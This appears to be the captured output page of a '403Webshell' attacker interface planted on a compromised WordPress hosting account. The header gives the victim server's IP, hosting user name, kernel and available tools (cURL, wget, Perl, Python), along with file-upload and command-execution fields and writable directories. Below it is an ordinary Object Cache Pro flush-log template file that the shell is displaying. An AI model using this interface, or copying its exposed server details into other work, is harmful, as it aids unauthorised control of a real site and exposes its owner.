403Webshell
Server IP : 162.213.251.208  /  Your IP : 18.222.116.93
Web Server : LiteSpeed
System : Linux business55.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : jmoroovq ( 1890)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/jmoroovq/mariowesser.com/wp-content/mu-plugins/object-cache-pro/src/Plugin/templates/widgets/tools/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/jmoroovq/mariowesser.com/wp-content/mu-plugins/object-cache-pro/src/Plugin/templates/widgets/tools/flushlog.phtml
<?php

$config = $this->plugin->config();
$log = get_site_option('objectcache_flushlog', []);

?>

<div class="objectcache:widget objectcache:flushlog-widget">

    <?php if (count($log)): ?>

        <?php foreach ($log as $flush): ?>

            <?php $backtrace = $this->flushlogBacktrace($flush['trace']); ?>

            <details>
                <summary>
                    <span class="dashicons dashicons-arrow-right-alt2"></span>
                    <code>
                        <?php echo $this->flushlogCaller($backtrace); ?>
                    </code>
                    <time datetime="<?php echo date('c', $flush['time']); ?>">
                        <?php echo human_time_diff(time(), $flush['time']); ?> ago
                    </time>
                </summary>

                <ul>
                    <?php if ($flush['user']) : ?>
                        <li>
                            <span class="dashicons dashicons-admin-users"></span>
                            <?php echo get_user_by('id', $flush['user'])->display_name; ?>
                        </li>
                    <?php endif; ?>
                    <li>
                        <span class="dashicons dashicons-clock"></span>
                        <time datetime="<?php echo date('c', $flush['time']); ?>">
                            <?php echo date_i18n('Y-m-d G:i:s', $flush['time']); ?>
                        </time>
                    </li>
                    <li>
                        <span class="dashicons dashicons-editor-code"></span>
                        <code><?php echo preg_replace(
                            '/([,{}\\\]|::|-&gt;)/',
                            '<span>$1</span>',
                            esc_html($backtrace)
                        ); ?></code>
                    </li>
                </ul>
            </details>
        <?php endforeach; ?>

    <?php else : ?>

        <p class="inset">No cache flushes have been logged, yet.</p>

    <?php endif; ?>

    <?php if (! $config->debug && ! $config->save_commands && ! WP_DEBUG) : ?>
        <label class="inset">
            <input type="checkbox" name="flushlog" value="1" <?php checked($this->plugin->option('flushlog')); ?>>
            Keep a log of cache flushes
        </label>
    <?php endif; ?>

</div>

Youez - 2016 - github.com/yon3zu
LinuXploit